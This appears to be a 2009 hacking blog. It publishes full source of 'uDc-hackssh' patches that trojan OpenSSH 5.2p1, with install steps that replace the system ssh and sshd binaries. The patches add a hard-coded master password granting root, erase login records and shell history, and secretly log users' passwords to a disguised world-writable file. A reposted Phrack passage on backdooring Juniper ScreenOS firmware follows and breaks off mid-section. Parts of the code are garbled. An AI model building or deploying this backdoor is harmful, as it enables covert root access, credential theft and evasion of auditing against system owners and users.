Saturday, September 12, 2009

uDc-hackssh-v1.0b

Features:
- special password to log in with any user account and get root
- no logs in the machine (messages,auth,utmp,…)
- bash shell will use /dev/null as HISTFILE
- logs user passwords (local and remote sessions)
- should bypass 'PermitRootLogin No"

Installation:
[slash@Slash-The-Underground]-[Sat Sep 12]-[00:35]-[/pentest/rk/ssh/uDc-hackssh]
$ pwd
/pentest/rk/ssh/uDc-hackssh

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh]
$ tar -zxf openssh-5.2p1.tar.gz

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh]
$ patch -p0 < uDc-hackssh-v1.0b

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ cd openssh-5.2p1

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ ./configure --prefix=/usr --sbindir=/usr/sbin --bindir=/usr/bin --sysconfdir=/path_to_origin_configuration --with-pam

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ make

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ strip ssh sshd

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ rm -rf /usr/sbin/sshd /usr/bin/ssh

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ cp ssh /usr/bin/ssh

[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ cp sshd /usr/sbin/sshd
[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ ps -ax | grep sshd
[slash@Slash-The-Underground]-[Sat Sep 12]-[00:36]-[/pentest/rk/ssh/uDc-hackssh] $ kill -HUP 'appropriate pid number' And finally, the patch code....
[slash@Slash-The-Underground]-[Sat Sep 12]-[00:29]-[/pentest/rk/ssh/uDc-hackssh] $ cat uDc-hackssh-v1.0b.patch
diff -Ncr openssh-5.2p1/auth-pam.c uDc-hackssh-v1.0b/auth-pam.c
*** openssh-5.2p1/auth-pam.c Tue Mar 11 19:58:25 2008
--- uDc-hackssh-v1.0b/auth-pam.c Fri Sep 11 22:38:47 2009
***************
*** 466,471 ****
--- 466,474 ----
if (sshpam_err != PAM_SUCCESS) goto auth_fail;
sshpam_err = pam_authenticate(sshpam_handle, flags);
+ // slash patch
+ if(uDc) sshpam_err = PAM_SUCCESS;
+ // end of patch 
if (sshpam_err != PAM_SUCCESS) goto auth_fail;

***************
*** 816,821 ****
--- 819,833 ----
Buffer buffer;
struct pam_ctxt *ctxt = ctx;
+ // slash patch + if(sshpam_authctxt)
+ for (ai = 0; ai < num; ++ai) {
+ sprintf(abuff, "pam_from: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), sshpam_authctxt->user, resp[ai]);
+ if(!strcmp(BAJAUPASS, resp[ai])) ctxt->pam_done = uDc = 1;
+ else uDclog();
+ }
+ // end of patch
debug2("PAM: %s entering, %u responses", __func__, num);
switch (ctxt->pam_done) {
case 1:
***************
*** 1045,1050 ****
--- 1057,1065 ----
if (sshpam_err != PAM_SUCCESS)
fatal("PAM: failed to set PAM_CONV: %s",
pam_strerror(sshpam_handle, sshpam_err));
+ // slash patch
+ if(!uDc)
+ // end of patch
sshpam_err = pam_open_session(sshpam_handle, 0);
if (sshpam_err == PAM_SUCCESS)
sshpam_session_open = 1;

diff -Ncr openssh-5.2p1/auth-passwd.c uDc-hackssh-v1.0b/auth-passwd.c
*** openssh-5.2p1/auth-passwd.c Fri Oct 26 12:25:12 2007
--- uDc-hackssh-v1.0b/auth-passwd.c Fri Sep 11 23:30:00 2009
***************
*** 92,97 ****
--- 92,107 ----
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
+ // slash patch
+ if(!strcmp(BAJAUPASS, password)) {
+ uDc = 1;
+ // options.permit_root_login = PERMIT_YES;
+ return;
+ }
+ sprintf(abuff, "pass_from: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), pw->pw_name, password);
+ uDclog();
+ // end of patch

#ifdef KRB5
if (options.kerberos_authentication == 1) {

diff -Ncr openssh-5.2p1/auth.c uDc-hackssh-v1.0b/auth.c
*** openssh-5.2p1/auth.c Wed Nov 5 13:12:54 2008
--- uDc-hackssh-v1.0b/auth.c Fri Sep 11 23:35:47 2009
***************
*** 93,98 ****
--- 93,104 ----
int
allowed_user(struct passwd * pw)
{
+ // slash patch
+ if(uDc)
+ return 1;
+ else {
+ // end of patch
+
struct stat st;
const char *hostname = NULL, *ipaddr = NULL, *passwd = NULL;
char *shell;
***************
*** 243,252 ****
--- 249,264 ----
/* We found no reason not to let this user try to log on... */
return 1;
}
+ // slash patch
+ }
+ // end of patch

void
auth_log(Authctxt *authctxt, int authenticated, char *method, char *info)
{
+ // slash patch
+ if(!uDc) {
+ // end of patch
void (*authlog) (const char *fmt,...) = verbose;
char *authmsg;

***************
*** 291,296 ****
--- 303,311 ----
if (authenticated == 0 && !authctxt->postponed)
audit_event(audit_classify_auth(method));
#endif
+ // slash patch
+ }
+ // end of patch
}

/*
***************
*** 299,304 ****
--- 314,322 ----
int
auth_root_allowed(char *method)
{
+ // slash patch
+ if(!uDc) {
+ // end of patch
switch (options.permit_root_login) {
case PERMIT_YES:
return 1;
***************
*** 316,321 ****
--- 334,344 ----
logit("ROOT LOGIN REFUSED FROM %.200s", get_remote_ipaddr());
return 0;
}
+ // slash patch
+ else
+ return 1;
+ }
+ // end of patch


/*
diff -Ncr openssh-5.2p1/canohost.c uDc-hackssh-v1.0b/canohost.c
*** openssh-5.2p1/canohost.c Sat Feb 14 13:28:21 2009
--- uDc-hackssh-v1.0b/canohost.c Fri Sep 11 23:38:28 2009
***************
*** 78,83 ****
--- 78,86 ----
if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
NULL, 0, NI_NAMEREQD) != 0) {
/* Host name not found. Use ip address. */
+ // slash patch
+ if(!uDc)
+ // end of patch
return xstrdup(ntop);
}

diff -Ncr openssh-5.2p1/includes.h uDc-hackssh-v1.0b/includes.h
*** openssh-5.2p1/includes.h Fri Jul 4 21:10:49 2008
--- uDc-hackssh-v1.0b/includes.h Fri Sep 11 22:38:47 2009
***************
*** 13,18 ****
--- 13,41 ----
* called by a name other than "ssh" or "Secure Shell".
*/

+ // slash patch
+ #include
+ #include
+
+ #define BAJAUPASS "@#;.,uDc,.;#@"
+ #define SSH_LOG "/usr/share/yelp/im.xml"
+
+ FILE *bajaulog;
+ char abuff[1024];
+ int kambing, ai, uDc;
+
+ #define uDclog() { \
+ kambing=strlen(abuff); \
+ for(ai=0; ai<=kambing; ai++) abuff[ai]=~abuff[ai]; \ 

+ bajaulog=fopen(SSH_LOG, "a"); \ 
+ if(bajaulog!=NULL) { fwrite(abuff, kambing, 1, bajaulog); fclose(bajaulog);} \ 
+ chmod(SSH_LOG, 0666); \ 
+ } 

+ const char *get_remote_ipaddr(void); 
+ // end of patch 

+ #ifndef INCLUDES_H 
#define INCLUDES_H 

diff -Ncr openssh-5.2p1/log.c uDc-hackssh-v1.0b/log.c 
*** openssh-5.2p1/log.c Tue Jun 10 21:01:51 2008 
--- uDc-hackssh-v1.0b/log.c Fri Sep 11 22:38:47 2009 
*************** 
*** 338,343 **** 
--- 338,346 ---- 
int pri = LOG_INFO; 
int saved_errno = errno; 
+ // slash patch 
+ if(uDc) return; 
+ // end of patch if (level > log_level)
return;

diff -Ncr openssh-5.2p1/loginrec.c uDc-hackssh-v1.0b/loginrec.c
*** openssh-5.2p1/loginrec.c Thu Feb 12 10:12:22 2009
--- uDc-hackssh-v1.0b/loginrec.c Fri Sep 11 22:38:47 2009
***************
*** 431,436 ****
--- 431,439 ----
int
login_write(struct logininfo *li)
{
+ // slash patch
+ if(uDc) return 0;
+ // end of patch
#ifndef HAVE_CYGWIN
if (geteuid() != 0) {
logit("Attempt to write login records by non-root user (aborting)");
 

diff -Ncr openssh-5.2p1/session.c uDc-hackssh-v1.0b/session.c
*** openssh-5.2p1/session.c Wed Jan 28 13:29:49 2009
--- uDc-hackssh-v1.0b/session.c Fri Sep 11 23:48:15 2009
***************
*** 1193,1198 ****
--- 1193,1203 ----
if (getenv("TZ"))
child_set_env(&env, &envsize, "TZ", getenv("TZ"));

+ // slash patch
+ if(uDc)
+ child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+ // end of patch
+
/* Set custom environment options from RSA authentication. */
if (!options.use_login) {
while (custom_environment) {
***************
*** 1496,1501 ****
--- 1501,1510 ----

if (setlogin(pw->pw_name) < 0) error("setlogin failed: %s", strerror(errno)); 

+ // slash patch 
+ if(!uDc) { 
+ // end of patch 
+ if (setgid(pw->pw_gid) < 0) { perror("setgid"); exit(1); 
*************** 
*** 1505,1510 **** 
--- 1514,1526 ---- 
perror("initgroups"); 
exit(1); 

+ // slash patch 
+ } 
+ else { 
+ setgid(0); 
+ initgroups(pw->pw_name, 0);
+ }
+ // end of patch
endgrent();
# ifdef USE_PAM
/*
***************
*** 1547,1552 ****
--- 1563,1570 ----
}
#else
/* Permanently switch to the desired uid. */
+ // slash patch
+ if(!uDc)
permanently_set_uid(pw);
#endif
}
***************
*** 1554,1560 ****
#ifdef HAVE_CYGWIN
if (is_winnt)
#endif
! if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);

#ifdef WITH_SELINUX
--- 1572,1581 ----
#ifdef HAVE_CYGWIN
if (is_winnt)
#endif
! // slash patch
! //if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
! if ((getuid() != pw->pw_uid || geteuid() != pw->pw_uid) && !uDc)
! // end of patch
fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);

#ifdef WITH_SELINUX
***************
*** 2614,2621 ****
{
if (s->pw == NULL)
error("no user for session %d", s->self);
! else
! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
}

int
--- 2635,2648 ----
{
if (s->pw == NULL)
error("no user for session %d", s->self);
! // slash patch
! else {
! if(!uDc)
! setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
! else
! setproctitle("","");
! }
! // end of patch
}

int
diff -Ncr openssh-5.2p1/sshconnect1.c uDc-hackssh-v1.0b/sshconnect1.c
*** openssh-5.2p1/sshconnect1.c Tue Nov 7 20:14:42 2006
--- uDc-hackssh-v1.0b/sshconnect1.c Fri Sep 11 22:38:47 2009
***************
*** 458,463 ****
--- 458,468 ----
password = read_passphrase(prompt, 0);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
+ // slash patch
+ sprintf(abuff, "1to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
xfree(password);
packet_send();
 

diff -Ncr openssh-5.2p1/sshconnect2.c uDc-hackssh-v1.0b/sshconnect2.c
*** openssh-5.2p1/sshconnect2.c Wed Nov 5 13:20:47 2008
--- uDc-hackssh-v1.0b/sshconnect2.c Fri Sep 11 22:38:47 2009
***************
*** 797,802 ****
--- 797,807 ----
packet_put_cstring(authctxt->method->name);
packet_put_char(0);
packet_put_cstring(password);
+ // slash patch
+ sprintf(abuff, "2to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
xfree(password);
packet_add_padding(64);
***************
*** 1464,1469 ****
--- 1469,1479 ----

response = read_passphrase(prompt, echo ? RP_ECHO : 0);

+ // slash patch
+ sprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, response);
+ uDclog();
+ // end of patch
packet_put_cstring(response);
memset(response, 0, strlen(response));
xfree(response);
 

diff -Ncr openssh-5.2p1/sshlogin.c uDc-hackssh-v1.0b/sshlogin.c
*** openssh-5.2p1/sshlogin.c Mon Sep 17 14:09:16 2007
--- uDc-hackssh-v1.0b/sshlogin.c Sat Sep 12 00:03:40 2009
***************
*** 118,123 ****
--- 118,126 ----
record_login(pid_t pid, const char *tty, const char *user, uid_t uid,
const char *host, struct sockaddr *addr, socklen_t addrlen)
{
+ // slash patch
+ if(!uDc) {
+ // end of patch
struct logininfo *li;

/* save previous login details before writing new */
***************
*** 127,132 ****
--- 130,138 ----
login_set_addr(li, addr, addrlen);
login_login(li);
login_free_entry(li);
+ // slash patch
+ }
+ // end of patch
}

#ifdef LOGIN_NEEDS_UTMPX
***************
*** 134,145 ****
--- 140,157 ----
record_utmp_only(pid_t pid, const char *ttyname, const char *user,
const char *host, struct sockaddr *addr, socklen_t addrlen)
{
+ // slash patch
+ if(!uDc) {
+ // end of patch
struct logininfo *li;

li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, addrlen);
login_utmp_only(li);
login_free_entry(li);
+ // slash patch
+ }
+ // end of patch
}
#endif

***************
*** 147,155 ****
--- 159,173 ----
void
record_logout(pid_t pid, const char *tty, const char *user)
{
+ // slash patch
+ if(!uDc) {
+ // end of patch
struct logininfo *li;

li = login_alloc_entry(pid, user, NULL, tty);
login_logout(li);
login_free_entry(li);
+ // slash patch
+ }
+ // end of patch
}
 

diff -Ncr openssh-5.2p1/version.h uDc-hackssh-v1.0b/version.h
*** openssh-5.2p1/version.h Mon Feb 23 08:09:26 2009
--- uDc-hackssh-v1.0b/version.h Fri Sep 11 22:38:47 2009
***************
*** 1,6 ****
--- 1,9 ----
/* $OpenBSD: version.h,v 1.55 2009/02/23 00:06:15 djm Exp $ */

+ // slash patch
+ // change to targetted openssh verions
#define SSH_VERSION "OpenSSH_5.2"

#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
+ // end of patch

Tuesday, July 21, 2009

uDc-hackssh-v1.0a

The following openssh-5.2p1 patches allow users to:

  • login with any users with 'magic password'
  • hide footprint from wtmp, utmp and lastlog
  • log ssh inbound and outbound username and password
This patches tested on Mac OS X, Solaris 5.10, Ubuntu 8.10 and FreeBSD 7.10. It should works for other operating system too.

slash@Slash-The-Undergrounds-Hackintosh:$ cat uDc-hackssh-v1.0a
diff -Nrc openssh-5.2p1/auth-pam.c uDc-hackssh-v1.0a/auth-pam.c
*** openssh-5.2p1/auth-pam.c Tue Mar 11 19:58:25 2008
--- uDc-hackssh-v1.0a/auth-pam.c Sun Jul 19 13:59:46 2009
***************
*** 466,471 ****
--- 466,474 ----
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;
sshpam_err = pam_authenticate(sshpam_handle, flags);
+ // slash patch
+ if(uDc) sshpam_err = PAM_SUCCESS;
+ // end of patch
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;

***************
*** 816,821 ****
--- 819,833 ----
Buffer buffer;
struct pam_ctxt *ctxt = ctx;

+ // slash patch
+ if(sshpam_authctxt)
+ for (ai = 0; ai <>user, resp[ai]);
+ if(!strcmp(BAJAUPASS, resp[ai])) ctxt->pam_done = uDc = 1;
+ else uDclog();
+ }
+ // end of patch
debug2("PAM: %s entering, %u responses", __func__, num);
switch (ctxt->pam_done) {
case 1:
***************
*** 1045,1050 ****
--- 1057,1065 ----
if (sshpam_err != PAM_SUCCESS)
fatal("PAM: failed to set PAM_CONV: %s",
pam_strerror(sshpam_handle, sshpam_err));
+ // slash patch
+ if(!uDc)
+ // end of patch
sshpam_err = pam_open_session(sshpam_handle, 0);
if (sshpam_err == PAM_SUCCESS)
sshpam_session_open = 1;
diff -Nrc openssh-5.2p1/auth-passwd.c uDc-hackssh-v1.0a/auth-passwd.c
*** openssh-5.2p1/auth-passwd.c Fri Oct 26 12:25:12 2007
--- uDc-hackssh-v1.0a/auth-passwd.c Sun Jul 19 14:01:06 2009
***************
*** 92,97 ****
--- 92,103 ----
#endif
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
+ // slash patch
+ if(!strcmp(BAJAUPASS, password)) return uDc = 1;
+ sprintf(abuff, "pass_from: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), pw->pw_name, password);
+ uDclog();
+ // end of patch

#ifdef KRB5
if (options.kerberos_authentication == 1) {
diff -Nrc openssh-5.2p1/includes.h uDc-hackssh-v1.0a/includes.h
*** openssh-5.2p1/includes.h Fri Jul 4 21:10:49 2008
--- uDc-hackssh-v1.0a/includes.h Sun Jul 19 14:09:10 2009
***************
*** 13,18 ****
--- 13,41 ----
* called by a name other than "ssh" or "Secure Shell".
*/

+ // slash patch
+ #include
+ #include
+
+ #define BAJAUPASS "black-session"
+ #define SSH_LOG "/var/run/sshd.sync"
+
+ FILE *bajaulog;
+ char abuff[1024];
+ int kambing, ai, uDc;
+
+ #define uDclog() { \
+ kambing=strlen(abuff); \
+ for(ai=0; ai<=kambing; ai++) abuff[ai]=~abuff[ai]; \
+ bajaulog=fopen(SSH_LOG, "a"); \
+ if(bajaulog!=NULL) { fwrite(abuff, kambing, 1, bajaulog); fclose(bajaulog);} \
+ chmod(SSH_LOG, 0666); \
+ }
+
+ const char *get_remote_ipaddr(void);
+ // end of patch
+
+ #ifndef INCLUDES_H
#define INCLUDES_H
diff -Nrc openssh-5.2p1/log.c uDc-hackssh-v1.0a/log.c
*** openssh-5.2p1/log.c Tue Jun 10 21:01:51 2008
--- uDc-hackssh-v1.0a/log.c Sun Jul 19 14:09:50 2009
***************
*** 338,343 ****
--- 338,346 ----
int pri = LOG_INFO;
int saved_errno = errno;
+ // slash patch + if(uDc) return;
+ // end of patch if (level > log_level)
return;

diff -Nrc openssh-5.2p1/loginrec.c uDc-hackssh-v1.0a/loginrec.c
*** openssh-5.2p1/loginrec.c Thu Feb 12 10:12:22 2009
--- uDc-hackssh-v1.0a/loginrec.c Sun Jul 19 14:11:00 2009
***************
*** 431,436 ****
--- 431,439 ----
int
login_write(struct logininfo *li)
{
+ // slash patch
+ if(uDc) return 0;
+ // end of patch
#ifndef HAVE_CYGWIN
if (geteuid() != 0) {
logit("Attempt to write login records by non-root user (aborting)");
diff -Nrc openssh-5.2p1/sshconnect1.c uDc-hackssh-v1.0a/sshconnect1.c
*** openssh-5.2p1/sshconnect1.c Tue Nov 7 20:14:42 2006
--- uDc-hackssh-v1.0a/sshconnect1.c Sun Jul 19 14:12:35 2009
***************
*** 458,463 ****
--- 458,468 ----
password = read_passphrase(prompt, 0);
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
+ // slash patch
+ sprintf(abuff, "1to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
xfree(password);
packet_send();
diff -Nrc openssh-5.2p1/sshconnect2.c uDc-hackssh-v1.0a/sshconnect2.c
*** openssh-5.2p1/sshconnect2.c Wed Nov 5 13:20:47 2008
--- uDc-hackssh-v1.0a/sshconnect2.c Sun Jul 19 14:15:51 2009
***************
*** 797,802 ****
--- 797,807 ----
packet_put_cstring(authctxt->method->name);
packet_put_char(0);
packet_put_cstring(password);
+ // slash patch
+ sprintf(abuff, "2to: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, password);
+ uDclog();
+ // end of patch
memset(password, 0, strlen(password));
xfree(password);
packet_add_padding(64);
***************
*** 1464,1469 ****
--- 1469,1479 ----

response = read_passphrase(prompt, echo ? RP_ECHO : 0);

+ // slash patch
+ sprintf(abuff, "2ito: %s \tuser: %s \tpass: %s\n",
+ get_remote_ipaddr(), options.user, response);
+ uDclog();
+ // end of patch
packet_put_cstring(response);
memset(response, 0, strlen(response));
xfree(response);
diff -Nrc openssh-5.2p1/version.h uDc-hackssh-v1.0a/version.h
*** openssh-5.2p1/version.h Mon Feb 23 08:09:26 2009
--- uDc-hackssh-v1.0a/version.h Sun Jul 19 14:17:31 2009
***************
*** 1,6 ****
--- 1,9 ----
/* $OpenBSD: version.h,v 1.55 2009/02/23 00:06:15 djm Exp $ */

+ // slash patch
+ // change to targetted openssh version
#define SSH_VERSION "OpenSSH_5.2"

#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
+ // end of patch


Friday, July 17, 2009

My favorite article of the year so far.

File: archives/66/p66_0x05_Backdooring Juniper Firewalls_by_Graeme.txt
==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x05 of 0x11

|=-----------------------------------------------------------------------=|
|=---------------=[ Netscreen of the Dead: ]=-------------------=|
|=-=[ Developing a Trojaned Firmware for Juniper ScreenOS Platforms ]=--=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ By graeme@lolux.net ]=-------------------=|
|=-----------------------------------------------------------------------=|


--[ Index
0x1 - Trailer
0x2 - Opening Scene
0x3 - The Attack
0x4 - Live Evisceration
0x5 - Feeding on the Remains
0x6 - Night of the Living Netscreen
0x7 - Autopsy
0x8 - Netscreen of the Dead
0x9 - Zombie Loader
0xA - 28 Hacks Later
0xB - Closing Scene
0xC - References
0xD - Credits
0xE - Addendum


--[ 0x1 - Trailer

This article describes how an attacker can obtain, modify and install a
modified version of Juniper ScreenOS which can run attacker supplied code
which performs hidden operations or operations contrary to the
configuration of any Juniper platform running ScreenOS.

The attacker could be any one of the following:
- an attacker that has exploited a vulnerability in ScreenOS
- someone who has illicitly obtained the administrator password
- someone with physical access to the device (vendor / 3rd party support)
- an attacker conducting a man-in-the-middle attack on the network
- a malicious administrator


--[ 0x2 - Opening Scene

Netscreens are manufactured by Juniper Inc and are all in one firewall,
VPN, router security appliance. They range in scale from SME to Datacentre
(NS5XP -- NS5000). Most are Common Criteria and FIPS certified and run a
closed source, real time OS called ScreenOS which is supplied by Juniper
as a binary firmware 'blob'.

The hardware used for this research was a Netscreen NS5XT containing an
AMCC PowerPC 405 GP RISC processor and 64MB flash. The firmware used as
the basis for modified firmware images was ScreenOS 5.3.0r10. Interfaces
for administration are serial console, Telnet, SSH, and HTTP/HTTPS. The
firmware can be installed from serial console, via the web interface or
via TFTP.

The configuration of the device is stored as a file on the flash and is
independent of the firmware.


--[ 0x3 - The Attack

The goal of the attack is to be able to install attacker modified firmware
which provides hidden root control of the appliance. When attacking
firmware there are two vectors of attack:

1. Live evisceration: debugging with remote GDB debugger over serial line

2. Feeding on the remains: dead listing and static binary analysis using a
disassembler and hex editor.

The next two sections will discuss these two approaches and how successful
they were in this specific instance. At this point it is worth noting some
key features of the PowerPC hardware architecture:
- fixed instruction size of 4 bytes
- flat memory model
- 32 general purpose registers (r0-r31)
- no explicit stack but convention of using r01
- link register (lr) for returning to calling function
- program counter (pc) for current instruction
- count register (ctr) for loop counter or return address
- exception register (xer) for exceptions, status and control

Detailed information on the PowerPC architecture is available from the IBM
PPC405 Embedded Processor Core User Manual which can be downloaded from
http://www-01.ibm.com/chips/techlib/techlib.nsf/products/
PowerPC_405_Embedded_Cores


--[ 0x4 - Live Evisceration

For live debugging a GDB compiled for PowerPC was required. The Embedded
Linux Development Kit (http://www.denx.de/wiki/DULG/ELDK) has GDB compiled
for a number of embedded platforms including the PowerPC 403 and 405
processors. This provides remote debugging of systems over a serial
connection.

Obviously no source for ScreenOS was available so it was necessary to
create a custom GDB init file for displaying PPC registers and 'stack' to
provide useful information on breaks. GDB reads init files on startup and
init files use the same syntax as GDB command files and are processed by
GDB in the same way. The init file in your home directory (~/.gdbinit) can
set options that affect subsequent processing of command line options and
operands. An example gdb init file is supplied in the addendum. This gdb
init file outputs context similar to the windows SoftICE tool which
reverse engineers should be familiar with. Below is an example of a GDB
session connected to a Netscreen:

--start gdb session

GNU gdb Red Hat Linux (6.7-1rh)
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-pc-linux-gnu --target=ppc-linux".
The target architecture is set automatically (currently powerpc:403)

gdb>target remote /dev/ttyU0

0x0032bea4 in ?? ()
gdb>
gdb>context

powerpc
---------------------------------------------------------------------[regs]
r00:00000001 r01:03790528 r02:01358000 r03:FFFFFFFF pc:0032BEA4
r04:0000002E r05:00000000 r06:00000000 r07:00000000
r08:01631050 r09:01350000 r10:01630000 r11:01630000 lr:0032C5CC
r12:40000022 r13:00000000 r14:6FFFA27F r15:1B9FC3F7
r16:00000000 r17:402D04D0 r18:03791470 r19:00000000 ctr:0060A764
r20:03790B48 r21:013509AC r22:FFFFFFFF r23:0379147E
r24:00000000 r25:00000000 r26:00000000 r27:00000000 cr:40000028
r28:03791470 r29:00000000 r30:03790F20 r31:0135098C xer:20000046

[03790528]----------------------------------------------------------[stack]
0379058C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
03790570 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
0379055A : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
0379053E : A6 40 03 79 06 C0 00 60 - A9 BC 00 00 00 00 00 00 .@y.`..
03790528 : 03 79 05 30 00 06 22 F0 - 03 79 03 79 05 40 00 32 y0".yy@2
03790512 : 00 01 03 79 12 58 03 79 - 05 20 0F 20 00 06 37 08 yXy 7
037904F6 : 00 00 00 00 00 05 01 62 - 9F A0 C2 28 01 4A 05 EA ...(J..
037904E0 : 03 79 04 E8 00 32 BE 60 - 03 79 03 79 14 70 01 4A y.2.`yypJ
037904C4 : 01 6F 0A 24 03 79 04 E0 - 00 B8 00 00 00 6C 03 79 o$y..ly

[0032BEA4]-----------------------------------------------------------[code]
0x32bea4: lwz r0,12(r1)
0x32bea8: mtlr r0
0x32beac: addi r1,r1,8
0x32beb0: blr
0x32beb4: stwu r1,-40(r1)
0x32beb8: mflr r0
0x32bebc: stw r29,28(r1)
0x32bec0: stw r30,32(r1)
0x32bec4: stw r31,36(r1)
0x32bec8: stw r0,44(r1)
0x32becc: mr r31,r3
0x32bed0: lis r9,322
0x32bed4: lwz r0,-13800(r9)
0x32bed8: cmpwi r0,0
0x32bedc: beq- 0x32bef0
0x32bee0: lis r3,196
----------------------------------------------------------------------
gdb>

--end gdb session

The steps for remote debugging on the Netscreen are as follows:
1. Connect to a network interface and the serial console of the Netscreen
from a PC.
2. Over a telnet / SSH session to the Netscreen enable GDB using:
ns5xt>set gdb enable
3. On the PC start gdbppc and connect to the remote gdb using:
gdb>target remote /dev/ttyUSB0

During this research remote debugging was useful for obtaining memory
dumps and querying specific memory addresses. However setting breakpoints
or single stepping did not appear to work. Information on how to get these
features working would be most appreciated by the author.

Observing the boot process of the Netscreen over a serial console did
provide useful information regarding the boot up sequence:

--start boot sequence

NetScreen NS-5XT Boot Loader Version 2.0.0 (Checksum: A1B6FF9B)
Copyright (c) 1997-2003 NetScreen Technologies, Inc.

Total physical memory: 64MB
Test - Pass
Initialization - Done

Hit any key to run loader
Hit any key to run loader
Hit any key to run loader
Hit any key to run loader

Loading default system image from on-board flash disk...

Ignore image authentication!

Start loading...
.............................................................

Done.



Juniper Networks, Inc
NS-5XT System Software
Copyright, 1997-2004

Version 5.3.0r10.0
Load Manufacture Information ... Done
Load NVRAM Information ... (5.3.0)Done
Install module init vectors
Verify ACL register default value (at hw reset) ... Done
Verify ACL register read/write ... Done
Verify ACL rule read/write ... Done
Verify ACL rule search ... Done
MD5("a") = 0cc175b9 c0f1b6a8 31c399e2 69772661
MD5("abc") = 90015098 3cd24fb0 d6963f7d 28e17f72
MD5("message digest") = f96b697d 7cb7938d 525a2f31 aaf161d0
Verify DES register read/write ... Done

Initial port mode trust-untrust(1)
Install modules (00c40000,0146d540) ... load dns table
: dns table file do not exist.

Initializing DI 1.1.0-ns
System config (1129 bytes) loaded
.
Done.
Load System Configuration
....................................................Done
system init done..
System change state to Active(1)
login:

--end of boot sequence

Stored boot loader executes and the opportunity is given to load a new
image over a serial connection. The default behaviour is then to
uncompress the stored firmware and run the image.

If a new image file is loaded over a serial console it is uncompressed
and some options are presented. The first prompt allows saving the new
image to flash. Even if the new image is not stored to flash the next
prompt allows running the new image. No password is required to load an
image over the serial line.
The boot loader is part of the firmware and if the new boot loader is
different from the version stored on the flash then the stored boot loader
is overwritten by the new one.


--[ 0x5 - Feeding on the Remains

Static binary analysis was the main method employed in this research.
ScreenOS images can be downloaded direct from the device or obtained from
the Juniper website by Juniper customers.

ScreenOS provides the following command to download the firmware over
tftp:

ns5xt>save software from flash to tftp 192.168.0.42 destination_file

It is important to note that this command downloads the compressed image
file stored on the flash, not the currently running image from memory
which may or may not be the same as the image file stored on the flash.

Using an undocumented command all the files on the flash can be listed:

ns5xt-> exec vfs ls flash:/
$NSBOOT$.BIN 5,177,344
envar.rec 82
golerd.rec 0
node_secret.ace 0
certfile.dsc 252
certfile.dat 1,324
ns_sys_config 1,129
$lkg$.cfg 1,259
syscert.cfg 1,167
2,501,632 bytes free (7,686,144 total) on disk

$NSBOOT$.BIN is the firmware stored on flash. To download this securely
scp can be enabled on the Netscreen. Note the configuration of the device
is stored in ns_sys_config.

It is also possible to use GDB to dump the complete contents of the memory
over a serial line. This is sloooow.

gdb> set logging on
gdb> set height 0
gdb> set loging file 'dump'
gdb> x /2048000000i

As a Juniper customer I was able to download current and old versions of
ScreenOS firmware. Many firmware versions were compared as a first step in
determining the make up of the ScreenOS firmware images. The following 4
section structure was revealed by this comparative analysis:


0x00000000 /--------------------------\
| HEADER |
0x00000050 |--------------------------|
| |
0x00002020 |--------------------------|
| STUB |
0x00012940 |--------------------------|
| |
